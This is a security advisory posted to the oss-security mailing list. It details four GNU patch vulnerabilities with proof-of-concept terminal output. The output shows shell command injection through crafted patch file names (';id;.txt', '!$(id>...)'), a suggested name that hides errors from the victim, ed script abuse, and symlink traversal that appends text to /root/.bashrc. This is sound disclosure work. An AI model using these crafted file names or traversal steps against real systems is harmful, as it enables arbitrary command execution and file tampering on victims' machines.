lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  PHC 
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Fri, 16 Aug 2019 11:13:55 +0200
From: Imre Rad <>
Subject: Details about recent GNU patch vulnerabilities

I identified several vulnerabilities in the GNU patch utility, some of
them making it possible to execute arbitrary code if the victim opens
a crafted patch file. It also turned out, some of these
vulnerabilities had been silently addressed by the maintainer back
then in 2018 when CVE-2018-1000156 was reported. Some Linux
distributions (like Debian, Ubuntu or Fedora) applied only the primary
patch and thus they remained vulnerable to the attack vectors
described below.

The PoC files can be found in this repository:

CVE-2018-1000156 - unrestricted ed input

I'm unsure who the author of this finding is, but adding some details
to make the story more clear. The original thread on the official bug
report site:

The official patch of CVE-2018-1000156 is:

According to the comment of the commit:

src/pch.c (do_ed_script): Write ed script to a temporary file instead
of piping it to ed: this will cause ed to abort on invalid commands
instead of rejecting them and carrying on.

The thing is, ed's behaviour is different when the ed script is coming
from a pipe (see the edoffset.script attached):

root@...24e15f7e6:/data/edstyle5# touch whatever
root@...24e15f7e6:/data/edstyle5# cat edoffset.script | ed whatever
root@...24e15f7e6:/data/edstyle5# cat id-proof.txt
uid=0(root) gid=0(root) groups=0(root)

And when it is duped:

root@...24e15f7e6:/data/edstyle5#  rm id-proof.txt
root@...24e15f7e6:/data/edstyle5#  ed whatever < edoffset.script
root@...24e15f7e6:/data/edstyle5# cat id-proof.txt
cat: id-proof.txt: No such file or directory

And now the same via patch:

../patch-2.7.6-vanilla/patch-2.7.6/src/patch  < CVE-2018-1000156.patch
patching file file
../patch-2.7.6-vanilla/patch-2.7.6/src/patch: **** /bin/ed FAILED
root@...24e15f7e6:/data/edstyle5# cat CVE-2018-1000156-proof.txt
uid=0(root) gid=0(root) groups=0(root)

CVE-2018-1000156.patch here is pretty much the same as the original
PoC created for that issue (poc.patch among the attachments on
savannah linked above).

CVE-2019-13638 - Shell command injection while invoking ed

The GNU patch utility used to invoke ed via the shell interpreter and
the filenames were not sanitized correctly, making it vulnerable to
shell command injection. This way, exploitation of CVE-2019-13638
doesn't even require ed to be installed.

The official fix was pushed to the repo the same day as for
CVE-2018-1000156, but many distributions didn't pick it up:

The proof of concept:

root@...aeb445eab:/data/edstyle4# patch --version
GNU patch 2.7.6

root@...aeb445eab:/data/edstyle4# patch < CVE-2019-13638.patch
patching file ';id;.txt'
sh: 1: ed: not found
uid=0(root) gid=0(root) groups=0(root)
sh: 1: .txt.o60SfgR: not found
patch: **** ed FAILED

I think a filename like "2>/dev/null; real payload; exit 0 #" could
make the overall result of the patch execution successful without
showing any errors.

CVE-2019-13636 - Directory traversal and file append

The directory traversal here made it possible to escape the working
directory of patch and append (almost) arbitrary file content to any
files on the file system.

This finding is unrelated to the 2018 one, and was fixed only after I
reported it. Official patch:

When patch was saving a rejection, it did not check properly whether
the file already exists or not. This could be abused to escape the
working dir:

root@...aeb445eab:/data/test1/test-apply3#  cat CVE-2019-13636.patch | patch
patching symbolic link home
patching symbolic link home.rej
File home is not a regular file -- refusing to patch
1 out of 1 hunk ignored -- saving rejects to file home.rej
patching symbolic link home
patching symbolic link home.rej

root@...aeb445eab:/data/test1/test-apply3# cat /root/.bashrc
# ~/.bashrc: executed by bash(1) for non-login shells.
# alias mv='mv -i'
--- home
+++ home
@@ -0,0 +1,3 @@
+ partially
+ controlled
+ content

CVE-2018-20969 - OS shell command execution via ! prefixed ed filenames

If ed receives an exclaimation mark prefixed command line argument, it
is executed as a shell command via popen. This was exploitable via GNU
patch as well.

Official fix:

The referenced patch is the same as for CVE-2019-13638; note the assertion line.

(Yes, CVE-2018-20969 was reported by me in 2019 along with the other
two and MITRE indeed assigned a 2018 ID for it)

Since ed is capturing the output of what it executes and the same
version of GNU patch was vulnerable I decided to build 2 versions of
patch with the above patch applied, one with the assertion line and
one without it.

root@...181dcb4b1:/data# diff
<           assert (outname[0] != '!' && outname[0] != '-');
>           // assert (outname[0] != '!' && outname[0] != '-');

../patch-3fcd042d26d70856e826a42b5f93dc4854d80bf0-assert/src/patch -p0
< CVE-2018-20969.patch
patching file '!$(id>exclam-proof.txt);/foo'
patch: pch.c:2470: do_ed_script: Assertion `outname[0] != '!' &&
outname[0] != '-'' failed.
**** ed FAILED
root@...181dcb4b1:/data/edstyle5# cat exclam-proof.txt
cat: exclam-proof.txt: No such file or directory

-p0 < CVE-2018-20969.patch
patching file '!$(id>exclam-proof.txt);/foo'
sh: 1: /foo.oislN9J: not found
**** ed FAILED
root@...181dcb4b1:/data/edstyle5# cat exclam-proof.txt
uid=0(root) gid=0(root) groups=0(root)


Upgrade to latest version of patch provided by your Operating System.
If you build your own, bump to the head of the master branch.

Additional references

Powered by blists - more mailing lists